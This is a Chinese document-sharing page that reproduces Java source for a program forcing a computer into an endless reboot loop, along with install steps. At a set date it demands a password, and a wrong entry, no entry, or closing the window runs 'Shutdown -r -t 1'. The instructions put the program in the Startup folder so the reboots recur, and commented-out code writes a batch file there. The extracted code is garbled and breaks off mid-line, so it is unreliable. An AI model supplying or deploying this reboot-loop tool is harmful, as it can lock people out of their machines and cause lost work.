《java实现系统定时无限重启源代码》由会员分享,可在线阅读,更多相关《java实现系统定时无限重启源代码(5页珍藏版)》请在金锄头文库上搜索。
1、代码的功能是用Java实现定时无限重启的小软件。使用的jar包是jdom.jar代码读取系统时间判断是否到达设定时间。如果是则显示密码输入提示。如果密码输入错误或者不输入密码或者任务管理器结束程序都会引起程序重启。能力有限智能手动放在启动里面。不会写入注册表。代码也很乱。请见谅。第一步:安装jre 要有jre否则无法执行。有些软件能够将jar文件与jre打包成exe文件。我没试成功。有心的网友可以试试。第二步:启动程序 把程序与XML文件放在同一个文件夹下。创建程序的快捷方式。将快捷方式拖入开始-所有程序-启动里面。第三部:设置时间密码 时间与密码在代码对应的XML文件中配置。默认文件名为ti
2、me.xml xml文件格式为 主类 package com.win;import java.awt.Color;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.WindowEvent;import java.awt.event.WindowListener;import java.io.BufferedWriter;import java.io.File;import java.io.FileOutputStream;import java.io.Outp
3、utStreamWriter;import java.text.SimpleDateFormat;import java.util.Date;import javax.swing.JButton;import javax.swing.JFrame;import javax.swing.JLabel;import javax.swing.JTextField;import javax.swing.SwingConstants;import javax.swing.UIManager;public class restar extends JFrame SimpleDateFormat df=nu
4、ll;resXml xml = null;int time;String password;public restar()/调用父类的构造函数super(Window);public void creatWin()throws Exception/创建弹出窗口,并添加监听事件JFrame frame = new JFrame(win);frame.getContentPane().setLayout(null);frame.setBounds(600, 300, 250, 100);frame.getContentPane().setBackground(Color.orange);frame
5、.addWindowListener(new WindowListener()public void windowClosing(WindowEvent e) / TODO Auto-generated method stubtry res(); catch (Exception e1) / TODO Auto-generated catch blocke1.printStackTrace();Overridepublic void windowDeactivated(WindowEvent e) / TODO Auto-generated method stubOverridepublic
6、void windowDeiconified(WindowEvent e) / TODO Auto-generated method stubOverridepublic void windowIconified(WindowEvent e) / TODO Auto-generated method stubOverridepublic void windowOpened(WindowEvent e) / TODO Auto-generated method stubOverridepublic void windowActivated(WindowEvent e) / TODO Auto-g
7、enerated method stubOverridepublic void windowClosed(WindowEvent e) / TODO Auto-generated method stub);frame.setUndecorated(true);JLabel label = new JLabel();label.setBounds(0, 0, 250, 20);label.setText(请输入密码!);label.setVerticalAlignment(SwingConstants.TOP);label.setHorizontalAlignment(SwingConstant
8、s.CENTER);label.setVisible(true);JLabel labelNum = new JLabel();labelNum.setBounds(205, 20,45, 30);labelNum.setVerticalAlignment(SwingConstants.TOP);labelNum.setHorizontalAlignment(SwingConstants.CENTER);labelNum.setVisible(true);final JTextField textField = new JTextField(); textField.setBounds(0,
9、20, 140, 30); textField.setVisible(true); JButton button = new JButton(确认); button.setBounds(145, 20, 60, 30); button.setVisible(true); frame.add(labelNum); frame.add(button); frame.add(label); frame.add(textField); frame.setVisible(true); for(int i=5;i=0;i-) Thread.currentThread().sleep(1000);label
10、Num.setText(+i);if(i=0) res();elsebutton.addActionListener( new ActionListener()Overridepublic void actionPerformed(ActionEvent e) / TODO Auto-generated method stubxml= new resXml();try password=xml.inPut().getChild(password).getText();if(textField.getText().equals(password)System.exit(0);else res()
11、; catch (Exception e1) / TODO Auto-generated catch blocke1.printStackTrace(); ); public void res()throws Exception/系统重启方法Process p = Runtime.getRuntime().exec(Shutdown -r -t 1 );public String getTime()/获得当前时间方法df = new SimpleDateFormat(yyyyMMdd); String date=df.format(new Date(); return date;public
12、int StToInt(String str)/字符串转换成数字方法int date = Integer.parseInt(str);return date;/public String creatBat()/String bat=c:/res/qq.exe;/return bat;/static /静态快使用本地外观try UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName(); catch (Exception e) e.printStackTrace();public static void main(Stri
13、ng args)throws Exceptionrestar rs= new restar();resXml xml = new resXml();/File file = new File(C:/Users/123/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/qq.bat);/ OutputStreamWriter osr = new OutputStreamWriter(new FileOutputStream(file); /BufferedWriter writer = new BufferedWriter
14、(osr); / writer.write(c:resqq.exe); / writer.close(); inttime=rs.StToInt(xml.inPut().getChild(time).getText();boolean flag=true;while(flag)if(rs.StToInt(rs.getTime()=time)rs.creatWin();flag=false;Thread.currentThread().sleep(10000);/每10秒获取一次时间。jvm有充足时间释放内存XML类package com.win;import java.util.List;import org.jdom.Document;import org.j